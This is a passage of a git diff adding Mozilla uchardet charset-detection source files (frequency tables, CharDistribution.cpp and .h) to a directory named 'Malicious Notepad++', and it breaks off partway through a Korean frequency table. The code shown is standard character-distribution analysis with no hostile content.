+12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, //12080 +12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, //12096 +12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, //12112 +12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, //12128 +12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, //12144 +12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, //12160 +12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, //12176 +4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, //12192 +4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, //12208 +4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, //12224 +12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, //12240 +12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, //12256 +12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, //12272 +12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, //12288 +12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, //12304 +12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, //12320 +12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, //12336 +12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, //12352 +12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, //12368 +12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, //12384 +12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, //12400 +12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, //12416 +12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, //12432 +12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, //12448 +12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, //12464 +12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, //12480 +12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, //12496 +12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, //12512 +12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, //12528 +12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, //12544 +12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, //12560 +12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, //12576 +12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, //12592 +12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, //12608 +12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, //12624 +12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, //12640 +12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, //12656 +12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, //12672 +12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, //12688 +12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, //12704 +12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, //12720 +12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, //12736 +12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, //12752 +12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, //12768 +12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, //12784 +12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, //12800 +12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, //12816 +12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, //12832 +12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, //12848 +12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, //12864 +12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, //12880 +12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, //12896 +12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, //12912 +12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, //12928 +12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, //12944 +12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, //12960 +12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, //12976 +4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, //12992 +13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, //13008 +13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, //13024 +13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, //13040 +13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, //13056 +13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, //13072 +13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, //13088 +13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, //13104 +4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, //13120 +13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, //13136 +13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, //13152 +13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, //13168 +13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, //13184 +13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, //13200 +13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, //13216 +13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, //13232 +13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, //13248 +13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, //13264 +13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, //13280 +13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, //13296 +13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, //13312 +13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, //13328 +13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, //13344 +13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, //13360 +5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, //13376 +13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, //13392 +13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, //13408 +13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, //13424 +13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, //13440 +13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, //13456 +13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, //13472 +13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, //13488 +13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, //13504 +13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, //13520 +13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, //13536 +13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, //13552 +13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, //13568 +13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, //13584 +13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, //13600 +13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, //13616 +13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, //13632 +13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, //13648 +13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, //13664 +13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, //13680 +13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, //13696 +13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, //13712 +13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, //13728 +13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, //13744 +13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, //13760 +13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, //13776 +13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, //13792 +13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, //13808 +13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, //13824 +13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, //13840 +13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, //13856 +13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, //13872 +13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, //13888 +13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, //13904 +13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, //13920 +13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, //13936 +13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, //13952 +13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, //13968 +13968,13969,13970,13971,13972, //13973 +****************************************************************************************/ +}; diff --git a/Malicious Notepad++/src/uchardet/CharDistribution.cpp b/Malicious Notepad++/src/uchardet/CharDistribution.cpp new file mode 100644 index 0000000..488d9bc --- /dev/null +++ b/Malicious Notepad++/src/uchardet/CharDistribution.cpp @@ -0,0 +1,109 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "CharDistribution.h" + +#include "JISFreq.tab" +#include "Big5Freq.tab" +#include "EUCKRFreq.tab" +#include "EUCTWFreq.tab" +#include "GB2312Freq.tab" + +#define SURE_YES 0.99f +#define SURE_NO 0.01f + +//return confidence base on received data +float CharDistributionAnalysis::GetConfidence(void) +{ + //if we didn't receive any character in our consideration range, or the + // number of frequent characters is below the minimum threshold, return + // negative answer + if (mTotalChars <= 0 || mFreqChars <= mDataThreshold) + return SURE_NO; + + if (mTotalChars != mFreqChars) { + float r = mFreqChars / ((mTotalChars - mFreqChars) * mTypicalDistributionRatio); + + if (r < SURE_YES) + return r; + } + //normalize confidence, (we don't want to be 100% sure) + return SURE_YES; +} + +EUCTWDistributionAnalysis::EUCTWDistributionAnalysis() +{ + mCharToFreqOrder = EUCTWCharToFreqOrder; + mTableSize = EUCTW_TABLE_SIZE; + mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO; +} + +EUCKRDistributionAnalysis::EUCKRDistributionAnalysis() +{ + mCharToFreqOrder = EUCKRCharToFreqOrder; + mTableSize = EUCKR_TABLE_SIZE; + mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO; +} + +GB2312DistributionAnalysis::GB2312DistributionAnalysis() +{ + mCharToFreqOrder = GB2312CharToFreqOrder; + mTableSize = GB2312_TABLE_SIZE; + mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO; +} + +Big5DistributionAnalysis::Big5DistributionAnalysis() +{ + mCharToFreqOrder = Big5CharToFreqOrder; + mTableSize = BIG5_TABLE_SIZE; + mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO; +} + +SJISDistributionAnalysis::SJISDistributionAnalysis() +{ + mCharToFreqOrder = JISCharToFreqOrder; + mTableSize = JIS_TABLE_SIZE; + mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO; +} + +EUCJPDistributionAnalysis::EUCJPDistributionAnalysis() +{ + mCharToFreqOrder = JISCharToFreqOrder; + mTableSize = JIS_TABLE_SIZE; + mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO; +} + diff --git a/Malicious Notepad++/src/uchardet/CharDistribution.h b/Malicious Notepad++/src/uchardet/CharDistribution.h new file mode 100644 index 0000000..5b22295 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/CharDistribution.h @@ -0,0 +1,242 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef CharDistribution_h__ +#define CharDistribution_h__ + +#include "nscore.h" + +#define ENOUGH_DATA_THRESHOLD 1024 + +#define MINIMUM_DATA_THRESHOLD 4 + +class CharDistributionAnalysis +{ +public: + CharDistributionAnalysis() {Reset(PR_FALSE);} + + //feed a block of data and do distribution analysis + void HandleData(const char*, PRUint32) {} + + //Feed a character with known length + void HandleOneChar(const char* aStr, PRUint32 aCharLen) + { + PRInt32 order; + + //we only care about 2-bytes character in our distribution analysis + order = (aCharLen == 2) ? GetOrder(aStr) : -1; + + if (order >= 0) + { + mTotalChars++; + //order is valid + if ((PRUint32)order < mTableSize) + { + if (512 > mCharToFreqOrder[order]) + mFreqChars++; + } + } + } + + //return confidence base on existing data + float GetConfidence(void); + + //Reset analyser, clear any state + void Reset(PRBool aIsPreferredLanguage) + { + mDone = PR_FALSE; + mTotalChars = 0; + mFreqChars = 0; + mDataThreshold = aIsPreferredLanguage ? 0 : MINIMUM_DATA_THRESHOLD; + } + + //This function is for future extension. Caller can use this function to control + //analyser's behavior + void SetOpion(){} + + //It is not necessary to receive all data to draw conclusion. For charset detection, + // certain amount of data is enough + PRBool GotEnoughData() {return mTotalChars > ENOUGH_DATA_THRESHOLD;} + +protected: + //we do not handle character base on its original encoding string, but + //convert this encoding string to a number, here called order. + //This allow multiple encoding of a language to share one frequency table + virtual PRInt32 GetOrder(const char* ) {return -1;} + + //If this flag is set to PR_TRUE, detection is done and conclusion has been made + PRBool mDone; + + //The number of characters whose frequency order is less than 512 + PRUint32 mFreqChars; + + //Total character encounted. + PRUint32 mTotalChars; + + //Number of hi-byte characters needed to trigger detection + PRUint32 mDataThreshold; + + //Mapping table to get frequency order from char order (get from GetOrder()) + const PRInt16 *mCharToFreqOrder; + + //Size of above table + PRUint32 mTableSize; + + //This is a constant value varies from language to language, it is used in + //calculating confidence. See my paper for further detail. + float mTypicalDistributionRatio; +}; + + +class EUCTWDistributionAnalysis: public CharDistributionAnalysis +{ +public: + EUCTWDistributionAnalysis(); +protected: + + //for euc-TW encoding, we are interested + // first byte range: 0xc4 -- 0xfe + // second byte range: 0xa1 -- 0xfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) { + if ((unsigned char)*str >= (unsigned char)0xc4) + return 94*((unsigned char)str[0]-(unsigned char)0xc4) + (unsigned char)str[1] - (unsigned char)0xa1; + else + return -1; + } +}; + + +class EUCKRDistributionAnalysis : public CharDistributionAnalysis +{ +public: + EUCKRDistributionAnalysis(); +protected: + //for euc-KR encoding, we are interested + // first byte range: 0xb0 -- 0xfe + // second byte range: 0xa1 -- 0xfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) + { if ((unsigned char)*str >= (unsigned char)0xb0) + return 94*((unsigned char)str[0]-(unsigned char)0xb0) + (unsigned char)str[1] - (unsigned char)0xa1; + else + return -1; + } +}; + +class GB2312DistributionAnalysis : public CharDistributionAnalysis +{ +public: + GB2312DistributionAnalysis(); +protected: + //for GB2312 encoding, we are interested + // first byte range: 0xb0 -- 0xfe + // second byte range: 0xa1 -- 0xfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) + { if ((unsigned char)*str >= (unsigned char)0xb0 && (unsigned char)str[1] >= (unsigned char)0xa1) + return 94*((unsigned char)str[0]-(unsigned char)0xb0) + (unsigned char)str[1] - (unsigned char)0xa1; + else + return -1; + } +}; + + +class Big5DistributionAnalysis : public CharDistributionAnalysis +{ +public: + Big5DistributionAnalysis(); +protected: + //for big5 encoding, we are interested + // first byte range: 0xa4 -- 0xfe + // second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) + { if ((unsigned char)*str >= (unsigned char)0xa4) + if ((unsigned char)str[1] >= (unsigned char)0xa1) + return 157*((unsigned char)str[0]-(unsigned char)0xa4) + (unsigned char)str[1] - (unsigned char)0xa1 +63; + else + return 157*((unsigned char)str[0]-(unsigned char)0xa4) + (unsigned char)str[1] - (unsigned char)0x40; + else + return -1; + } +}; + +class SJISDistributionAnalysis : public CharDistributionAnalysis +{ +public: + SJISDistributionAnalysis(); +protected: + //for sjis encoding, we are interested + // first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe + // second byte range: 0x40 -- 0x7e, 0x81 -- oxfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) + { + PRInt32 order; + if ((unsigned char)*str >= (unsigned char)0x81 && (unsigned char)*str <= (unsigned char)0x9f) + order = 188 * ((unsigned char)str[0]-(unsigned char)0x81); + else if ((unsigned char)*str >= (unsigned char)0xe0 && (unsigned char)*str <= (unsigned char)0xef) + order = 188 * ((unsigned char)str[0]-(unsigned char)0xe0 + 31); + else + return -1; + order += (unsigned char)*(str+1) - 0x40; + if ((unsigned char)str[1] > (unsigned char)0x7f) + order--; + return order; + } +}; + +class EUCJPDistributionAnalysis : public CharDistributionAnalysis +{ +public: + EUCJPDistributionAnalysis(); +protected: + //for euc-JP encoding, we are interested + // first byte range: 0xa0 -- 0xfe + // second byte range: 0xa1 -- 0xfe + //no validation needed here. State machine has done that + PRInt32 GetOrder(const char* str) + { if ((unsigned char)*str >= (unsigned char)0xa0) + return 94*((unsigned char)str[0]-(unsigned char)0xa1) + (unsigned char)str[1] - (unsigned char)0xa1; + else + return -1; + } +}; + +#endif //CharDistribution_h__ + diff --git a/Malicious Notepad++/src/uchardet/EUCKRFreq.tab b/Malicious Notepad++/src/uchardet/EUCKRFreq.tab new file mode 100644 index 0000000..d2c5047 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/EUCKRFreq.tab @@ -0,0 +1,614 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +//Sampling from about 20M text materials include literature and computer technology + +/****************************************************************************** + * 128 --> 0.79 + * 256 --> 0.92 + * 512 --> 0.986 + * 1024 --> 0.99944 + * 2048 --> 0.99999 + * + * Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 + * Random Distribution Ration = 512 / (2350-512) = 0.279. + * + * Typical Distribution Ratio + *****************************************************************************/ + +#define EUCKR_TYPICAL_DISTRIBUTION_RATIO (float) 6.0 + +#define EUCKR_TABLE_SIZE 2352 + +//Char to FreqOrder table , +static const PRInt16 EUCKRCharToFreqOrder[] = +{ + 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, +1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, +1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, + 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, + 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, + 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, +1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, + 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, + 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, +1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, +1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, +1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, +1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, +1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, + 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, +1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, +1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, +1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, +1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, + 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, +1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, + 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, + 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, +1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, + 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, +1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, + 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, + 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, +1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, +1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, +1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, +1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, + 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, +1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, + 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, + 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, +1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, +1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, +1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, +1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, +1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, +1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, + 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, + 639,1044, 133, 140, 288, 360, 811, 563,1027, 